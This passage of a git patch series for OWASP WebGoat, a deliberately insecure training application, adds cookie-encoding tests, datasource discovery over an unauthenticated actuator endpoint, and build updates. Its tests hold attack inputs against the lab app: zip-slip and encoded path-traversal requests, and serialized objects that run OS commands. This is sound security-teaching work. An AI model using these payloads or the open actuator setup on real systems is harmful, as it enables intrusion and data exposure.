Arguments.of("NjI2MTcwNGI3YTQxNGE1OTUNzQ2ZDZmNzQ="), + Arguments.of("NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="), + Arguments.of("NmQ0NjQ1Njc0NjY4NGY2Mjc0NjQ2YzY1Njc2ZTYx")); + } + +} diff --git a/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/encoders/EncDecTest.java b/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/encoders/EncDecTest.java new file mode 100644 index 000000000..9edc3481f --- /dev/null +++ b/webgoat-lessons/spoof-cookie/src/test/java/org/owasp/webgoat/spoofcookie/encoders/EncDecTest.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.spoofcookie.encoders; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import java.util.stream.Stream; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +class EncDecTest { + + @ParameterizedTest + @DisplayName("Encode test") + @MethodSource("providedForEncValues") + void testEncode(String decoded, String encoded) { + String result = EncDec.encode(decoded); + + assertTrue(result.endsWith(encoded)); + } + + @ParameterizedTest + @DisplayName("Decode test") + @MethodSource("providedForDecValues") + void testDecode(String decoded, String encoded) { + String result = EncDec.decode(encoded); + + assertThat(decoded, is(result)); + } + + @Test + @DisplayName("null encode test") + void testNullEncode() { + assertNull(EncDec.encode(null)); + } + + @Test + @DisplayName("null decode test") + void testNullDecode() { + assertNull(EncDec.decode(null)); + } + + private static Stream providedForEncValues() { + return Stream.of( + Arguments.of("webgoat", "YxNmY2NzYyNjU3Nw=="), + Arguments.of("admin", "2ZTY5NmQ2NDYx"), + Arguments.of("tom", "2ZDZmNzQ=")); + } + + private static Stream providedForDecValues() { + return Stream.of( + Arguments.of("webgoat", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="), + Arguments.of("admin", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZTY5NmQ2NDYx"), + Arguments.of("tom", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ=")); + } +} diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index dce260880..76026ec18 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -149,6 +149,11 @@ secure-passwords ${project.version} + + org.owasp.webgoat.lesson + spoof-cookie + ${project.version} + org.owasp.webgoat.lesson webgoat-lesson-template From 9af514f3ebfb73bbfdff9f4d354512cfb59482bc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 22 Sep 2021 14:58:23 +0200 Subject: [PATCH 004/227] WebWolf DataSource Discovery --- docker/start.sh | 2 - .../org/owasp/webgoat/WebSecurityConfig.java | 2 +- .../resources/application-webgoat.properties | 6 +- webwolf/pom.xml | 4 + .../main/java/org/owasp/webwolf/WebWolf.java | 27 +---- .../webwolf/db/ActuatorDsJsonParser.java | 58 +++++++++ .../webwolf/db/DataSourceProperties.java | 52 ++++++++ .../owasp/webwolf/db/DataSourceResolver.java | 111 ++++++++++++++++++ .../db/ResourceUnavailableException.java | 22 ++++ .../resources/application-webwolf.properties | 4 +- 10 files changed, 260 insertions(+), 28 deletions(-) create mode 100644 webwolf/src/main/java/org/owasp/webwolf/db/ActuatorDsJsonParser.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/db/DataSourceProperties.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/db/DataSourceResolver.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/db/ResourceUnavailableException.java diff --git a/docker/start.sh b/docker/start.sh index de84b044a..6f6b27ee7 100644 --- a/docker/start.sh +++ b/docker/start.sh @@ -16,8 +16,6 @@ java \ --add-opens java.base/java.io=ALL-UNNAMED \ -jar webgoat.jar --webgoat.build.version="$1" --server.address=0.0.0.0 > webgoat.log & -sleep 30 - echo "Starting WebWolf..." java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log & diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java b/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java index e2c5be022..4766bc5aa 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java @@ -58,7 +58,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { protected void configure(HttpSecurity http) throws Exception { ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = http .authorizeRequests() - .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll() + .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**").permitAll() .anyRequest().authenticated(); security.and() .formLogin() diff --git a/webgoat-container/src/main/resources/application-webgoat.properties b/webgoat-container/src/main/resources/application-webgoat.properties index e2918e640..3339d1ced 100644 --- a/webgoat-container/src/main/resources/application-webgoat.properties +++ b/webgoat-container/src/main/resources/application-webgoat.properties @@ -55,4 +55,8 @@ exclude.categories=${EXCLUDE_CATEGORIES:none,none} #exclude based on the enum of the Category exclude.lessons=${EXCLUDE_LESSONS:none,none} -#exclude based on the class name of a lesson e.g.: LessonTemplate \ No newline at end of file +#exclude based on the class name of a lesson e.g.: LessonTemplate + +management.health.db.enabled=true +management.endpoint.health.show-details=always +management.endpoints.web.exposure.include=health,configprops diff --git a/webwolf/pom.xml b/webwolf/pom.xml index fcfe4f92f..71ca07a4f 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -67,6 +67,10 @@ org.springframework.boot spring-boot-starter-actuator + + org.springframework.retry + spring-retry + org.thymeleaf.extras thymeleaf-extras-springsecurity5 diff --git a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java index d798d2ef0..1b045d45c 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java +++ b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java @@ -22,18 +22,14 @@ package org.owasp.webwolf; +import java.io.IOException; +import java.net.Socket; + import org.owasp.webwolf.requests.WebWolfTraceRepository; -import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.SpringApplication; import org.springframework.boot.actuate.trace.http.HttpTraceRepository; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; -import org.springframework.jdbc.datasource.DriverManagerDataSource; - -import java.io.IOException; -import java.net.Socket; - -import javax.sql.DataSource; @SpringBootApplication public class WebWolf { @@ -45,26 +41,20 @@ public class WebWolf { public static void main(String[] args) { System.setProperty("spring.config.name", "application-webwolf"); - + String webwolfPort = System.getenv("WEBWOLF_PORT"); - String databasePort = System.getenv("WEBGOAT_HSQLPORT"); String webGoatHost = null==System.getenv("WEBGOAT_HOST")?"127.0.0.1":System.getenv("WEBGOAT_HOST"); String webWolfHost = null==System.getenv("WEBWOLF_HOST")?"127.0.0.1":System.getenv("WEBWOLF_HOST"); String fileEncoding = System.getProperty("file.encoding"); int wolfPort = webwolfPort == null?9090:Integer.parseInt(webwolfPort); - int dbPort = databasePort == null?9001:Integer.parseInt(databasePort); if (null==fileEncoding || !fileEncoding.equals("UTF-8")) { System.out.println("It seems the application is startd on a OS with non default UTF-8 encoding:"+fileEncoding); System.out.println("Please add: -Dfile.encoding=UTF-8"); System.exit(-1); } - - if (!isAlreadyRunning(webGoatHost, dbPort)) { - System.out.println("It seems that the required database is not running. Please start WebGoat with the integrated or standalone database first."); - System.exit(-1); - } + if (isAlreadyRunning(webGoatHost, wolfPort)) { System.out.println("Port "+webWolfHost+":"+wolfPort+" is in use. Use environment value WEBWOLF_PORT to set a different value."); System.exit(-1); @@ -72,13 +62,6 @@ public class WebWolf { SpringApplication.run(WebWolf.class, args); } - @Bean - public DataSource dataSource(@Value("${spring.datasource.url}") String url, @Value("${spring.datasource.driver-class-name}") String driverClassName) { - DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(url); - driverManagerDataSource.setDriverClassName(driverClassName); - return driverManagerDataSource; - } - private static boolean isAlreadyRunning(String host, int port) { try (var ignored = new Socket(host, port)) { return true; diff --git a/webwolf/src/main/java/org/owasp/webwolf/db/ActuatorDsJsonParser.java b/webwolf/src/main/java/org/owasp/webwolf/db/ActuatorDsJsonParser.java new file mode 100644 index 000000000..56353d344 --- /dev/null +++ b/webwolf/src/main/java/org/owasp/webwolf/db/ActuatorDsJsonParser.java @@ -0,0 +1,58 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webwolf.db; + +import com.fasterxml.jackson.databind.JsonNode; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public final class ActuatorDsJsonParser { + + protected static final String getDsPropertyFromConfigProps(JsonNode node, String propertyName) { + return node + .get("application") + .get("beans") + .get("spring.datasource-org.springframework.boot.autoconfigure.jdbc.DataSourceProperties") + .get("properties") + .get(propertyName) + .asText(); + } + + protected static final String getDsHealthStatus(JsonNode node) { + return node + .get("components") + .get("db") + .get("components") + .get("dataSource") + .get("status") + .asText(); + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceProperties.java b/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceProperties.java new file mode 100644 index 000000000..7f493fd7d --- /dev/null +++ b/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceProperties.java @@ -0,0 +1,52 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webwolf.db; + +import static org.owasp.webwolf.db.ActuatorDsJsonParser.getDsPropertyFromConfigProps; + +import java.io.Serializable; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.JsonNode; + +import lombok.Data; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@Data +public class DataSourceProperties implements Serializable { + private static final long serialVersionUID = -5897408528235134090L; + private String url; + private String driverClassName; + + @JsonProperty("contexts") + protected void props(JsonNode node) { + url = getDsPropertyFromConfigProps(node, "url"); + driverClassName = getDsPropertyFromConfigProps(node, "driverClassName"); + } + +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceResolver.java b/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceResolver.java new file mode 100644 index 000000000..407b66ed5 --- /dev/null +++ b/webwolf/src/main/java/org/owasp/webwolf/db/DataSourceResolver.java @@ -0,0 +1,111 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webwolf.db; + +import static org.owasp.webwolf.db.ActuatorDsJsonParser.getDsHealthStatus; + +import javax.sql.DataSource; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.jdbc.datasource.DriverManagerDataSource; +import org.springframework.retry.annotation.Backoff; +import org.springframework.retry.annotation.EnableRetry; +import org.springframework.retry.annotation.Recover; +import org.springframework.retry.annotation.Retryable; +import org.springframework.stereotype.Component; +import org.springframework.web.client.RestTemplate; + +import com.fasterxml.jackson.databind.JsonNode; + +import lombok.extern.slf4j.Slf4j; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@Slf4j +@Component +@EnableRetry +public class DataSourceResolver { + + @Value("${webgoat.actuator.base.url}") + private String baseUrl; + + @Value("${webgoat.actuator.health.db.path:/health}") + private String dbHealthPath; + + @Value("${webgoat.actuator.configprops.path:/configprops}") + private String configPropsPath; + + @Autowired + ApplicationContext ctx; + + @Bean + @DependsOn("dsConfigDiscovery") + public DataSource dataSource(DataSourceProperties dataSourceProperties) { + DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(dataSourceProperties.getUrl()); + driverManagerDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + return driverManagerDataSource; + } + + @Bean + public RestTemplate restTemplate(RestTemplateBuilder builder) { + return builder.build(); + } + + @Bean + @Retryable(maxAttemptsExpression = "${webwolf.datasource-discovery.retry.max-attempts:5}", + value = Exception.class, + backoff = @Backoff( + multiplierExpression = "${webwolf.datasource-discovery.retry.backoff.multiplier:1.5}", + maxDelayExpression = "${webwolf.datasource-discovery.retry.backoff.max-delay:30000}", + delayExpression = "${webwolf.datasource-discovery.retry.backoff.delay:5000}")) + public DataSourceProperties dsConfigDiscovery(RestTemplate restTemplate) { + healthCheck(restTemplate); + return restTemplate.getForObject(baseUrl + configPropsPath, DataSourceProperties.class); + } + + public void healthCheck(RestTemplate restTemplate) { + log.info("Checking database availability."); + JsonNode json = restTemplate.getForObject(baseUrl + dbHealthPath, JsonNode.class); + String status = getDsHealthStatus(json); + if (!status.equals("UP")) { + throw new ResourceUnavailableException(); + } + } + + @Recover + public DataSourceProperties exitOnResourceUnavailable(Exception e, RestTemplate restTemplate) { + log.error("It seems that the required database is not running. Please start WebGoat with the integrated or standalone database first."); + System.exit(SpringApplication.exit(ctx, () -> 1)); + return null; + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/db/ResourceUnavailableException.java b/webwolf/src/main/java/org/owasp/webwolf/db/ResourceUnavailableException.java new file mode 100644 index 000000000..50f62c913 --- /dev/null +++ b/webwolf/src/main/java/org/owasp/webwolf/db/ResourceUnavailableException.java @@ -0,0 +1,22 @@ +package org.owasp.webwolf.db; + +public class ResourceUnavailableException extends RuntimeException { + + private static final long serialVersionUID = 1L; + + public ResourceUnavailableException() { + super(); + } + + public ResourceUnavailableException(Throwable cause) { + super(cause); + } + + public ResourceUnavailableException(String message) { + super(message); + } + + public ResourceUnavailableException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/webwolf/src/main/resources/application-webwolf.properties b/webwolf/src/main/resources/application-webwolf.properties index 755be1dc8..2c5c464a7 100644 --- a/webwolf/src/main/resources/application-webwolf.properties +++ b/webwolf/src/main/resources/application-webwolf.properties @@ -7,8 +7,6 @@ server.address=${WEBWOLF_HOST:127.0.0.1} server.servlet.session.cookie.name=WEBWOLFSESSION server.servlet.session.timeout=6000 -spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat -spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver spring.jpa.properties.hibernate.default_schema=CONTAINER spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.jpa.hibernate.ddl-auto=update @@ -32,9 +30,11 @@ multipart.max-file-size=1Mb multipart.max-request-size=1Mb webgoat.build.version=@project.version@ +webgoat.actuator.base.url=http://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_PORT:8080}/WebGoat/actuator webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver + spring.jackson.serialization.indent_output=true spring.jackson.serialization.write-dates-as-timestamps=false From 04d1293a33c04fa0a9812879952bccd7305a0ca5 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Thu, 23 Sep 2021 14:04:53 +0200 Subject: [PATCH 005/227] #1045: Run build with Java 16 --- docker/Dockerfile | 2 +- docker/start.sh | 2 + pom.xml | 21 +++---- webgoat-container/pom.xml | 10 +-- webgoat-integration-tests/pom.xml | 46 +++++++------- ...rsalTest.java => PathTraversalITTest.java} | 24 ++++--- .../resources/application-inttest.properties | 6 +- webgoat-lessons/cross-site-scripting/pom.xml | 24 ------- .../deserialization/DeserializeTest.java | 62 +++++++++---------- .../path_traversal/ProfileZipSlip.java | 17 +++-- .../en/PathTraversal_zip_slip_solution.adoc | 2 +- webgoat-lessons/vulnerable-components/pom.xml | 16 +++++ webgoat-lessons/xxe/pom.xml | 11 ++-- .../webgoat/xxe/ContentTypeAssignment.java | 27 ++++---- .../java/org/owasp/webgoat/xxe/SimpleXXE.java | 4 +- 15 files changed, 126 insertions(+), 148 deletions(-) rename webgoat-integration-tests/src/test/java/org/owasp/webgoat/{PathTraversalTest.java => PathTraversalITTest.java} (87%) diff --git a/docker/Dockerfile b/docker/Dockerfile index 3047632a2..1437def53 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,4 +1,4 @@ -FROM openjdk:15-slim +FROM openjdk:16-slim ARG webgoat_version=8.2.1-SNAPSHOT ENV webgoat_version_env=${webgoat_version} diff --git a/docker/start.sh b/docker/start.sh index 6f6b27ee7..c167d419b 100644 --- a/docker/start.sh +++ b/docker/start.sh @@ -8,9 +8,11 @@ echo "Starting WebGoat..." java \ -Duser.home=/home/webgoat \ -Dfile.encoding=UTF-8 \ + --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ --add-opens java.base/java.text=ALL-UNNAMED \ + --add-opens java.desktop/java.beans=ALL-UNNAMED \ --add-opens java.desktop/java.awt.font=ALL-UNNAMED \ --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ --add-opens java.base/java.io=ALL-UNNAMED \ diff --git a/pom.xml b/pom.xml index 893e45538..4a337bdda 100644 --- a/pom.xml +++ b/pom.xml @@ -8,6 +8,12 @@ pom 8.2.1-SNAPSHOT + + org.springframework.boot + spring-boot-starter-parent + 2.5.4 + + WebGoat Parent Pom Parent Pom for the WebGoat Project. A deliberately insecure Web Application 2006 @@ -22,12 +28,6 @@ https://github.com/WebGoat/WebGoat/ - - org.springframework.boot - spring-boot-starter-parent - 2.4.3 - - GNU General Public License, version 2 @@ -122,22 +122,21 @@ 15 15 - - build - 1.1.1 + 2.5.2 3.2.1 - 3.4 + 3.12.0 2.6 30.1-jre 1.18.20 + 2.27.2 3.8.0 2.22.0 3.1.2 3.1.1 3.1.0 - 3.0.0-M4 + 3.0.0-M5 15 diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index ea83551ce..25cd764a3 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -17,13 +17,7 @@ org.apache.maven.plugins maven-surefire-plugin - - 0 - true - - --illegal-access=permit - - + ${maven-surefire-plugin.version} org.apache.maven.plugins @@ -70,7 +64,7 @@ org.asciidoctor asciidoctorj - 2.4.3 + ${asciidoctorj.version} org.springframework.boot diff --git a/webgoat-integration-tests/pom.xml b/webgoat-integration-tests/pom.xml index abd0f8e10..ff665b923 100644 --- a/webgoat-integration-tests/pom.xml +++ b/webgoat-integration-tests/pom.xml @@ -10,17 +10,17 @@ - + org.seleniumhq.selenium - selenium-java - test - - - io.github.bonigarcia - webdrivermanager - 4.3.1 - test - + selenium-java + test + + + io.github.bonigarcia + webdrivermanager + 4.3.1 + test + org.owasp.webgoat webgoat-server @@ -43,16 +43,16 @@ webwolf ${project.version} - - org.springframework.boot - spring-boot-starter-test - test - - - io.rest-assured - rest-assured - test - + + org.springframework.boot + spring-boot-starter-test + test + + + io.rest-assured + rest-assured + test + @@ -62,14 +62,12 @@ maven-surefire-plugin ${maven-surefire-plugin.version} - 0 - true + - --illegal-access=permit + --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.beans=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED - diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalITTest.java similarity index 87% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java rename to webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalITTest.java index d32ce336e..753b193d3 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/PathTraversalITTest.java @@ -24,9 +24,8 @@ import java.util.zip.ZipOutputStream; import static org.junit.jupiter.api.DynamicTest.dynamicTest; -public class PathTraversalTest extends IntegrationTest { +class PathTraversalITTest extends IntegrationTest { - //the JUnit5 way @TempDir Path tempDir; @@ -35,8 +34,7 @@ public class PathTraversalTest extends IntegrationTest { @BeforeEach @SneakyThrows public void init() { - fileToUpload = Files.createFile( - tempDir.resolve("test.jpg")).toFile(); + fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile(); Files.write(fileToUpload.toPath(), "This is a test".getBytes()); startLesson("PathTraversal"); } @@ -52,7 +50,7 @@ public class PathTraversalTest extends IntegrationTest { ); } - public void assignment1() throws IOException { + private void assignment1() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() @@ -66,7 +64,7 @@ public class PathTraversalTest extends IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment2() throws IOException { + private void assignment2() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() @@ -80,7 +78,7 @@ public class PathTraversalTest extends IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment3() throws IOException { + private void assignment3() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() @@ -93,7 +91,7 @@ public class PathTraversalTest extends IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(true)); } - public void assignment4() throws IOException { + private void assignment4() throws IOException { var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; RestAssured.given().urlEncodingEnabled(false) .when() @@ -102,17 +100,17 @@ public class PathTraversalTest extends IntegrationTest { .get(uri) .then() .statusCode(200) - .content(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); + .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true); } - public void assignment5() throws IOException { - var webGoatHome = System.getProperty("user.dir") + "/target/.webgoat/PathTraversal/" + getWebgoatUser(); + private void assignment5() throws IOException { + var webGoatHome = System.getProperty("java.io.tmpdir") + "/webgoat/PathTraversal/" + getWebgoatUser(); webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows var webGoatDirectory = new File(webGoatHome); - var zipFile = new File(webGoatDirectory, "upload.zip"); + var zipFile = new File(tempDir.toFile(), "upload.zip"); try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg"); zos.putNextEntry(e); @@ -132,7 +130,7 @@ public class PathTraversalTest extends IntegrationTest { } @AfterEach - public void shutdown() { + void shutdown() { //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete checkResults("/PathTraversal"); } diff --git a/webgoat-integration-tests/src/test/resources/application-inttest.properties b/webgoat-integration-tests/src/test/resources/application-inttest.properties index 4286e914f..a694bd592 100644 --- a/webgoat-integration-tests/src/test/resources/application-inttest.properties +++ b/webgoat-integration-tests/src/test/resources/application-inttest.properties @@ -1,9 +1,9 @@ #In order to run tests a known temp directory is preferred #that is why these values are used -webgoat.user.directory=${user.dir}/target/.webgoat -webgoat.server.directory=${user.dir}/target/.webgoat -webwolf.fileserver.location=${user.dir}/target/webwolf-fileserver +webgoat.user.directory=${java.io.tmpdir}/webgoat +webgoat.server.directory=${java.io.tmpdir}/webgoat +webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver #database will get deleted for every mvn clean install #as these extra properties are read by WebGoat and WebWolf the drop of the tables diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index bc82c23fa..5bb02a9f2 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -16,28 +16,4 @@ 1.14.2
- - - - org.asciidoctor - asciidoctor-maven-plugin - 1.5.3 - - - - output-html - generate-resources - - process-asciidoc - - - html - src/main/resources/lessonPlans/en/ - - - - - - - \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java b/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java index 9a2ecec94..35ba51976 100644 --- a/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java +++ b/webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java @@ -18,11 +18,11 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal @ExtendWith(MockitoExtension.class) public class DeserializeTest extends AssignmentEndpointTest { - private MockMvc mockMvc; - - private static String OS = System.getProperty("os.name").toLowerCase(); - - @BeforeEach + private MockMvc mockMvc; + + private static String OS = System.getProperty("os.name").toLowerCase(); + + @BeforeEach public void setup() { InsecureDeserializationTask insecureTask = new InsecureDeserializationTask(); init(insecureTask); @@ -31,62 +31,60 @@ public class DeserializeTest extends AssignmentEndpointTest { @Test public void success() throws Exception { - if (OS.indexOf("win")>-1) { - mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") + if (OS.indexOf("win") > -1) { + mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") .header("x-request-intercepted", "true") .param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")))) - .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); - } else { - mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") - .header("x-request-intercepted", "true") - .param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")))) - .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); - } + .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); + } else { + mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") + .header("x-request-intercepted", "true") + .param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")))) + .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); + } } - + @Test public void 